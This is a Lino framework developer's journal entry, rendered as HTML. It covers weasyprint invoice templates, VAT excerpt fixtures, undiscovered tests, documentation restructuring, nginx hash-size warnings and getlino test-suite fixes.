&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/bevats.html#lino_xl.lib.bevats.Declaration" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.bevats.Declaration&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; still was using the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;set&lt;/span&gt; &lt;span class="pre"&gt;page_size&lt;/span&gt;&lt;/code&gt;
approach:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;%-&lt;/span&gt; &lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="n"&gt;page_size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;portrait&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;-%&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;%-&lt;/span&gt; &lt;span class="n"&gt;extends&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;weasyprint/base.weasy.html&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;-%&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I reviewed landscape/portrait for all weasy templates and added a section
“Weasyprint templates included with the &lt;a class="reference external" href="https://dev.lino-framework.org/about/overview.html#xl" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Extensions Library&lt;/span&gt;&lt;/a&gt;” in &lt;a class="reference external" href="https://dev.lino-framework.org/specs/weasyprint.html#specs-weasyprint" title="(in Lino Developer Guide)"&gt;&lt;span&gt;weasyprint: Printing documents using WeasyPrint&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The demo database contained &lt;em&gt;two&lt;/em&gt; excerpt types “Special Belgian VAT declaration”
(instead of only one).
I added a test case in &lt;a class="reference external" href="https://dev.lino-framework.org/specs/tera/misc.html#tera-specs-misc" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Tera : miscellaneous&lt;/span&gt;&lt;/a&gt; to cover this. The reason was that the
&lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-std" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;std&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; fixture for bevats created a new ExcerptType instead of calling
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.excerpts.ExcerptType.update_for_model()&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;That’s also why the &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.excerpts.html#module-lino_xl.lib.excerpts" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.excerpts&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; plugin must come before any
plugin that updates the ExcerptType for Certifiable.  This is done automatically
now (at least for the VAT plugins) because I added &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.excerpts.html#module-lino_xl.lib.excerpts" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.excerpts&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
as a dependency for &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/vat.html#module-lino_xl.lib.vat" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.vat&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Changes in xl, book, presto&lt;/p&gt;
&lt;p&gt;TODO: invoices in tera1 have a logo because they use appypdf build method. Those
in cosi1 don’t have a logo and use the weasy print method.&lt;/p&gt;
&lt;p&gt;Sometimes there is no button to clear the print cache on certifiable objects.&lt;/p&gt;
&lt;section id="tests-weren-t-being-discovered"&gt;
&lt;h2&gt;tests weren’t being discovered&lt;a class="headerlink" href="#tests-weren-t-being-discovered" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Running &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-test" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;test&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; in lino, xl, tera, amici, … said “Ran 0 tests in
0.000s”. IOW the test suite wasn’t actually being run.  most of the tests on
these repositories are done in the book, so these are only small test suites.
But that’s not an excuse.  Small test suite should run as the big ones.&lt;/p&gt;
&lt;p&gt;This was a side effect of moving from the setuptools testing to standard
unittest testing.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="the-show-excerpts-function"&gt;
&lt;h2&gt;The &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;show_excerpts()&lt;/span&gt;&lt;/code&gt; function&lt;a class="headerlink" href="#the-show-excerpts-function" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I opened &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3375"&gt;#3375&lt;/a&gt;.
We should use the &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.excerpts.doctools.show_excerpts()&lt;/span&gt;&lt;/code&gt; function
more systematically because it is good for both testing and illustrating.&lt;/p&gt;
&lt;p&gt;Its only usage is currently &lt;a class="reference external" href="https://de.welfare.lino-framework.org/excerpts.html"&gt;a page about excerpts&lt;/a&gt; in the German end user
documentation for &lt;a class="reference external" href="https://welfare.lino-framework.org/api/index.html#weleup" title="(in Lino Welfare)"&gt;&lt;span&gt;The Eupen variant of Lino Welfare&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The function generates a reSTructuredText list of all generated pdf files of the
excerpts in a database.
It copies these files to a place where they are
available on the Internet.
It should be rather in a specs page than in end-user docs.
It must run during &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-bd" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;bd&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, not during
&lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-test" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;test&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.  Which means that it can work only in a doctree for which a
global demo project has been defined in the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/sphinx/intro.html#xfile-conf.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;conf.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file. As currently
in the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/sphinx/intro.html#xfile-conf.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;conf.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file of the &lt;cite&gt;dedocs&lt;/cite&gt; doctree of the &lt;a class="reference external" href="https://welfare.lino-framework.org/api/index.html#weleup" title="(in Lino Welfare)"&gt;&lt;span&gt;The Eupen variant of Lino Welfare&lt;/span&gt;&lt;/a&gt;
repository:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.sphinxcontrib&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;configure&lt;/span&gt;
&lt;span class="n"&gt;configure&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;globals&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;lino_welfare.projects.gerd.settings.doctests&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The global demo project for &lt;a class="reference external" href="https://dev.lino-framework.org/about/overview.html#book" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Developer Guide&lt;/span&gt;&lt;/a&gt; is currently
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.max&lt;/span&gt;&lt;/code&gt;, which exists only because autodoc would fail to
import most parts of Lino if no &lt;span class="target" id="index-0"&gt;&lt;/span&gt;&lt;a class="reference external" href="https://hosting.lino-framework.org/settings/#envvar-DJANGO_SETTINGS_MODULE" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;DJANGO_SETTINGS_MODULE&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is defined.&lt;/p&gt;
&lt;p&gt;The comparison should &lt;em&gt;not&lt;/em&gt; run during &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-bd" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;bd&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; but during &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-test" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;test&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.
If a file has changed, it should be copied manually by the developer who reviewed whether the change is okay.
The public place for those pdf files should be per demo project and not per doctree.
Instead of just copying the files, we should
also test whether they have changed (side note: How to compare the content of
two pdf files?).  For example if we add a specs page with the excerpts of the
avanti1 demo project, we would add a directory &lt;cite&gt;docs/dl/expected/avanti1&lt;/cite&gt; to the
books doctree (&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;dl&lt;/span&gt;&lt;/code&gt; is a conventional name for a directory whose content will
automatically get copied to the docs output tree).&lt;/p&gt;
&lt;p&gt;This would require that the application-specific specs sections, which are
currently in the book, should become separate doctrees.  The natural place for
the noi specs section is indeed the docs tree of the noi repository.&lt;/p&gt;
&lt;p&gt;But if we do this, we must be aware of the fact that quite some specs pages
would move from the book to the noi docs, leaving several plugins undocumented.
Let’s take the working plugin.  It is used only by noi.  But the code is part of
the xl (and we want it to remain there because it might be used by some future
application).&lt;/p&gt;
&lt;p&gt;Also consider that if we move the noi specs into the noi repository, noi will
depend on book, and the book will no longer be able to refer to these specs. We
cannot have a circular dependency between noi and book because that would cause
a deadlock in the building and testing workflows. Which means that we would have
to write a little demo app in the book if we want to show tested code examples
in the &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;docs/specs/working.rst&lt;/span&gt;&lt;/code&gt; page.&lt;/p&gt;
&lt;p&gt;As a proof of concept I moved certain sections from &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;specs/tickets.rst&lt;/span&gt;&lt;/code&gt; to
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;apps/noi/tickets.rst&lt;/span&gt;&lt;/code&gt;.  Both pages existed already before, but were not
yet seriously reviewed for this case. The &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;specs/tickets.rst&lt;/span&gt;&lt;/code&gt; page now
uses the max demo project.  That’s what I wanted to test. And it works.&lt;/p&gt;
&lt;p&gt;That would mean that the team demo project would move from the book to the noi
repository.&lt;/p&gt;
&lt;p&gt;Regarding coverage : of course we are moving into a direction where anyway the
book cannot cover everything. The &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;run_coverage.sh&lt;/span&gt;&lt;/code&gt; script would probably
move to a new repository that depends on book, noi, presto and would do nothing
else than running &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-cov" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;cov&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; an all these projects and publish the result.
Idea to be verified: Maybe we we don’t need to create a new repository! We can
use getlino for this. Yes, that sounds good.  getlino actually depends on all
our projects.  One problem is that the book would no longer be able to refer to
the getlino doctree.  That’s a bit stupid because the docs are currently
authored based on this convention.&lt;/p&gt;
&lt;p&gt;OMG, this is quite complex!
Ticket &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3375"&gt;#3375&lt;/a&gt; will be quite some work and cause some restructuring of documentation.
But I feel that this is where we want to go.
Not urgent.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="preparing-cosi-demos"&gt;
&lt;h2&gt;Preparing Cosi demos&lt;a class="headerlink" href="#preparing-cosi-demos" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;In the JournalsOverview table I added a shortcut to create a new voucher.&lt;/p&gt;
&lt;p&gt;I don’t use the (+) button but the journals
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.Journal.printed_name" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting.Journal.printed_name&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; field, which turned out to
need appropriate default values and their translations.&lt;/p&gt;
&lt;p&gt;For example I had to research correct terms and translations for
&lt;a class="reference external" href="https://using.lino-framework.org/plugins/accounting.html#term-paycheck" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;paycheck&lt;/span&gt;&lt;/a&gt;,  &lt;a class="reference external" href="https://using.lino-framework.org/plugins/accounting.html#term-cash-book" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;cash book&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;I added a logo to the weasyprint invoices.  The logo is currently rendered in
the top-right corner of every page. ATM I don’t plan to make the invoice
layout configurable via web interface, I think it’s more efficient to have a
local template for every site who wants customization. To be observed.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="cannot-delete-the-printable-excerpt-generated-by-an-invoice"&gt;
&lt;h2&gt;Cannot delete the printable excerpt generated by an invoice&lt;a class="headerlink" href="#cannot-delete-the-printable-excerpt-generated-by-an-invoice" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;goto cosi1 demo project, runserver, sign in as robin, open the sales invoices,
print an invoice. Note that “clear cache” doesn’t work at the moment (that’s
another ticket). But “clear cache” is just a shortcut, you can click as well on
the value of the “Printed” field. This opens the detail view on the generated
excerpt. There you can hit the Delete button and confirm.  But that trick
doesn’t work under react. It keeps asking whether you want to delete. I guess it
is the “b” prefix in the xcallback of the Ajax call, which is &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;&amp;quot;GET&lt;/span&gt;
&lt;span class="pre"&gt;/api/excerpts/Excerpts/1?an=delete_selected&amp;amp;fmt=json&amp;amp;rp=weak-key-55&amp;amp;sr=1&amp;amp;xcallback__b%22%5Cxed%5Cxfa%5E%5Cxc4%5Cx04%5Cx91~%5Cx9f%5Cxf5%29%5Cxc7%5Cxc1%5Cxdc%5Cxb1%27%5Cxb7%22=yes&amp;amp;xcallback__b%27%5Cx87f%2C%5Cxecv%5Cxc7%5B%5Cx10%5Cxe5%5Cxdb%5Cx0e%5Cx97%3BF-%5Cxf6%27=yes&amp;quot;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;/section&gt;
&lt;section id="reverse-dependency-between-getlino-and-book"&gt;
&lt;h2&gt;Reverse dependency between getlino and book&lt;a class="headerlink" href="#reverse-dependency-between-getlino-and-book" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;An important question for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3375"&gt;#3375&lt;/a&gt; is the question whether it is good to
reverse the dependency between getlino and book. The book would no longer be
able to refer to the getlino doctree (using intersphinx).  And the getlino docs
would then be able to refer to the book.&lt;/p&gt;
&lt;p&gt;The Lino installation instructions are currently spread over three pages: one
for simple developers,  one for becoming a contributing developer, and a third
one for installing a production server.&lt;/p&gt;
&lt;p&gt;We do &lt;em&gt;not&lt;/em&gt; need to move them all from the book to getlino. The only consequence
is that we cannot link from the book to individual getlino commands any more.&lt;/p&gt;
&lt;p&gt;I ran &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pp&lt;/span&gt; &lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;clean&lt;/span&gt; &lt;span class="pre"&gt;-b&lt;/span&gt;&lt;/code&gt; and then &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pp&lt;/span&gt; &lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;bd&lt;/span&gt; &lt;span class="pre"&gt;pd&lt;/span&gt;&lt;/code&gt; in order to test
whether all dependencies are resolved.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;The nginx configs for vilma, pronto and avanti were not correct or missing,
but I managed to fix them.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Note: what means the following warning (which comes twice for every &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;sudo&lt;/span&gt;
&lt;span class="pre"&gt;nginx&lt;/span&gt; &lt;span class="pre"&gt;-t&lt;/span&gt;&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;nginx&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;warn&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;could&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt; &lt;span class="n"&gt;optimal&lt;/span&gt; &lt;span class="n"&gt;proxy_headers_hash&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt; &lt;span class="n"&gt;should&lt;/span&gt; &lt;span class="n"&gt;increase&lt;/span&gt;
&lt;span class="n"&gt;either&lt;/span&gt; &lt;span class="n"&gt;proxy_headers_hash_max_size&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;512&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;proxy_headers_hash_bucket_size&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;ignoring&lt;/span&gt; &lt;span class="n"&gt;proxy_headers_hash_bucket_size&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Thanks to &lt;a class="reference external" href="https://talk.plesk.com/threads/nginx-server_names_hash_bucket_size-directive-is-duplicate.342512/"&gt;this thread&lt;/a&gt;
for a helpful advice:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ find /etc/nginx -type f -name &amp;quot;*.conf&amp;quot; -exec grep --color -Hni &amp;quot;proxy_headers_hash_bucket_size&amp;quot;  {} \;
$ find /etc/nginx -type f -name &amp;quot;*.conf&amp;quot; -exec grep --color -Hni &amp;quot;proxy_headers_hash_max_size&amp;quot;  {} \;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;IOW I verified that I have no config file that overrides the default values.
But if the default values aren’t good, which values are good?&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="http://nginx.org/en/docs/hash.html"&gt;nginx docs&lt;/a&gt; says “if nginx emits the
message requesting to increase either hash max size or hash bucket size then the
first parameter should first be increased.”&lt;/p&gt;
&lt;p&gt;I changed this in our &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/nginx/nginx.conf&lt;/span&gt;&lt;/code&gt;. The instruction in the docs
wasn’t helpful, but I tried intuitively without really understanding until the
warnings were gone.&lt;/p&gt;
&lt;p&gt;Yes! It took some time to get everything build again, but the result looks good!
I updated &lt;a class="reference external" href="https://dev.lino-framework.org/about/overview.html#dev-overview-diagram" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Overview diagram&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="getlino-test-suite-is-failing"&gt;
&lt;h2&gt;getlino test suite is failing&lt;a class="headerlink" href="#getlino-test-suite-is-failing" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I noticed that the getlino test suite was failing  with
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;AttributeError:&lt;/span&gt; &lt;span class="pre"&gt;module&lt;/span&gt; &lt;span class="pre"&gt;'lino.api.dd'&lt;/span&gt; &lt;span class="pre"&gt;has&lt;/span&gt; &lt;span class="pre"&gt;no&lt;/span&gt; &lt;span class="pre"&gt;attribute&lt;/span&gt;
&lt;span class="pre"&gt;'python_2_unicode_compatible'&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Interesting! How can you do final polish for a demo when your test suite is
broken!&lt;/p&gt;
&lt;p&gt;An obvious error is the ordering of the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--dev-repos&lt;/span&gt;&lt;/code&gt; option when saying:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="n"&gt;getlino&lt;/span&gt; &lt;span class="n"&gt;startsite&lt;/span&gt; &lt;span class="n"&gt;noi&lt;/span&gt; &lt;span class="n"&gt;noi1&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;batch&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;repos&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;lino noi xl&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This can’t work because the dev-repositories are installed in the given order.
If you specify noi before xl, it will install noi first, run &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;pip&lt;/span&gt; &lt;span class="pre"&gt;install&lt;/span&gt; &lt;span class="pre"&gt;-e&lt;/span&gt;&lt;/code&gt;
for noi before having installed xl, and noi requires xl, so it will install the
PyPI version.&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;sudo getlino startsite noi noi1 –batch –dev-repos ‘lino xl noi’&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;But even this did not work, there was a second error: the
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;run_docker_command()&lt;/span&gt;&lt;/code&gt; wraps single quotes around the command.  That leads
to unpredictable result when the command contains itself single quotes.  So we
must use double quotes:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="n"&gt;getlino&lt;/span&gt; &lt;span class="n"&gt;startsite&lt;/span&gt; &lt;span class="n"&gt;noi&lt;/span&gt; &lt;span class="n"&gt;noi1&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;batch&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;repos&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;lino xl noi&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I had some fun before I understood this, and &lt;em&gt;en passant&lt;/em&gt; I did a few
optimizations.&lt;/p&gt;
&lt;p&gt;I also fixed yet another bug:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;env&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;pull&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sh&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;cd&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;env&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;repositories&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;linopull&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;No&lt;/span&gt; &lt;span class="n"&gt;such&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;directory&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The error was in the &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/misc.html#xfile-pull.sh" title="(in getlino docs)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;pull.sh&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; template:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;dev_packages&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-%&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;pull&lt;/span&gt; &lt;span class="p"&gt;{{&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;%-&lt;/span&gt; &lt;span class="n"&gt;endfor&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Read the &lt;a class="reference external" href="https://jinja.palletsprojects.com/en/2.10.x/templates/"&gt;Jinja template designer docs&lt;/a&gt; about what those
dashes after &lt;cite&gt;{%&lt;/cite&gt; or before &lt;cite&gt;%}&lt;/cite&gt; do!&lt;/p&gt;
&lt;p&gt;There are still resource warnings popping up:&lt;/p&gt;
